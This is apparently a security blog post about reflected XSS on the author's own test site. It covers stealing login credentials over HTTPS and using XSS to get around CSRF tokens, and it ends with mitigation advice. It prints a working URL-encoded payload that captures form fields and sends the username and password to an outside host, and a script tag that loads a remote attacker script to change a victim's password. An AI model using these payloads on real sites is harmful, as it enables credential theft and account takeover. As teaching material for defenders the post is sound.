Password Stealing from HTTPS Login Page & CSRF Protection bypass using Reflected XSS

Michael Koczwara
Dark Roast Security
7 min readMay 9, 2020

I have recently passed the JavaScript for Pentesters exam from Pentester Academy and I decided to write this short blog regarding Cross-Site Scripting and how an attacker can steal passwords from HTTPS web logins/registrations and how an attacker can bypass Cross-Site Request Forgery protection using XSS.

image by author

Content

  1. What is XSS?
  2. Types of XSS
  3. Case study: Password stealing with reflected XSS
  4. Case study: Cross-Site Request Forgery protection bypass with XSS
  5. Mitigations

1. What is XSS?

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user’s browser.

The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim’s browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

2. Types of XSS

  • Reflected XSS
  • Persistent XSS
  • DOM-based XSS

Reflected XSS

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This means that an attacker has to send a crafted, malicious URL or post form to the victim to insert the payload, and the victim will click the link.

Persistent XSS

Stored Cross-site scripting vulnerabilities happen when the payload is saved, for example in a database, and then is executed when a user opens the page on the web application. Stored cross-site scripting is very dangerous for a number of reasons:

  • The payload is not visible for the browser’s XSS filter
  • Users might accidentally trigger the payload if they visit the affected page, while a crafted URL or specific form inputs would be required for exploiting reflected XSS.

DOM-based XSS

DOM Based XSS simply means an XSS vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflective and persistent XSS attacks you can see the vulnerability payload in the response page, but in DOM-based XSS, the HTML source code and the response of the attack will be exactly the same. In other words, the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page. Basically, the payload remains within the browser.

Cross-Site Scripting Attack vectors

  • Password Stealing from HTTP/HTTPS logins/registration web pages.
  • Remote Code Execution.
  • Keylogger Injection.
  • Cross-Site Request Forgery Protection Bypass.
  • Browser Hijacking.
  • Cookie Stealing — most common.

3. Password Stealing with Reflected XSS

So I have developed a simple website where users can register/login, have access to a simple form/comment page, and account settings where they can update bio and password.

Important note, there is HTTPS/TLS 1.3 implemented so the connection is encrypted.

image by author

As we can see below, the login page is vulnerable to reflected XSS and an attacker can inject simple JavaScript to execute a prompt function with value 1.

POC:

<script>prompt(1)</script>

image by author

An attacker can take advantage of this vulnerability and can steal usernames/passwords with reflected XSS.

There are a few steps on how to do it.

Important note:

In order to steal the password from the HTTPS login/registration page, an attacker should set up a server and domain with SSL/TLS certificate.

image by author

An attacker should set up a VPS with a webserver running so he can intercept victim credentials.

Malicious JavaScript payload should look like this:

image by author
image by author

I have created an XML HTTP Request for persistence so the victim could try to access the login page multiple times.

Attack Scenario

An attacker finds a vulnerable web login/registration page and crafts a phishing email with XSS payload injected into the vulnerable web page and sends it to the victim.

Malicious URL:
https://appssec.co.uk/?email=%22%3E%3Cscript%3Efunction+intercept()+{%C2%A0%C2%A0var+user+%3D+document.forms[0].elements[0].value%3B%C2%A0var+pass+%3D+document.forms[0].elements[1].value%3B%C2%A0%C2%A0%C2%A0var+xhr+%3D+new+XMLHttpRequest()%3B%C2%A0%C2%A0xhr.open(%22GET%22%2C+%22https%3A%2F%2Fstorage.appsec.co.uk%3Femail%3D%22%2Buser%2B%22%26password%3D%22%2Bpass)%3B%C2%A0xhr.send()%3Breturn+false%3B%C2%A0}%C2%A0document.forms[0].onsubmit+%3D+intercept%3B%C2%A0%3C%2Fscript%3E%3Cspan+class%3D%22abs

This is how the website looks like when a user clicks in the URL from a phishing email. An attacker could make this script shorter to make it even less suspicious or simply can shorten the link.

Below is the web page presented to the user/victim.

image by author

Our victim types his email and password and an attacker can read it all in plaintext on his server:

image by author

4. CSRF Protection Bypass With XSS

This simple demo is not about how to perform CSRF (Cross-Site Request Forgery) attacks but how to bypass CSRF protection with XSS.

Example of a very basic account settings web page.

image by author

Important note:

CSRF protection/tokens are implemented in session, however, they don’t change with every single HTTP request. This could be considered a bad practice, but the web application is still protected against a traditional CSRF attack.

Anyway, let's take a look at how CSRF tokens work.

See below:

image by author

Anti-CSRF token

dde5be758cfcc608dc6dec6e7e6ff9b5fa7f4a5817170e408ea0dbf5f99f4fb7

image by author

Anti-CSRF token

809253697fdc46c0edabcb2e7972ba3ede4e90e3f8384cb04285b589f5b33cc9

So basically the token changes when the user logs in and out from the web page.

Important note:

Cross-Site Scripting could lead to CSRF if tokens don’t change with every single HTTP request.

First of all, an attacker should identify an injection and craft malicious JavaScript.

As we can see, there is an XSS vulnerability within account settings. An attacker can bypass this protection with JavaScript injection.

image by author

Malicious JavaScript payload that will update the password to = hacked

image by author
image by author

An attacker could send a malicious URL to the authenticated victim:

https://appssec.co.uk/profile.php?message=<script src=’https://storage.appssec.co.uk/attacker/script.js'></script>

JS script below is where the attacker keeps the payload:

<script src=’https://storage.appssec.co.uk/attacker/script.js'></script>

Now the victim clicks on the link and he loses access to his account and the attacker changes his password.

As we can see, it is possible to bypass CRSF tokens with Cross-Site Scripting making XSS equal to CSRF.

image by author

5. XSS Mitigations

The most important rules:

  1. Output Escaping
  2. Input Validation
  3. Content Security Policy
  4. HTTPFlag enabled — This is only against a cookie stealing XSS attack (However, there are some bypass techniques for example Cross-Site Tracing Attack)

Output Escaping examples:

For untrusted string in the context of HTML, do HTML escape, for example:

<h1> Welcome html_escape(untrusted string) </html>

For untrusted string in the context of HTML attribute, do HTML escape and always quote your attributes, either ( ‘ or “ ) never use backticks ( ` ).

Example:

<img src=”x” alt=”html_escape(untrusted string)”>

For untrusted string in the context of Event Handler Attribute, do JavaScript Escape first and then perform HTML escape since the Browser performs HTML attribute decode first.

JavaScript string decode. For untrusted string in the context of JavaScript, do JavaScript String Escape. And always quote your attributes, either ( ‘ or “ ) never use backticks ( ` ).

Example:

image by author

Input Validation

All the untrusted data should be validated against the web application’s logic before processing or moving it into storage. Input validation can prevent XSS in the initial attempt itself.

Content Security Policy

This header is one of the most effective solutions for preventing XSS. It allows us to enforce policies on loading objects and executing them from URLs or contexts.

OWASP Best Practices against XSS

Dark Roast Security
Dark Roast Security

Published in Dark Roast Security

Dark Roast Security’s mission is to inspire, educate, and share ideas about InfoSec. Follow to join our community!

No responses yet

The author has closed discussion for this story. Learn more.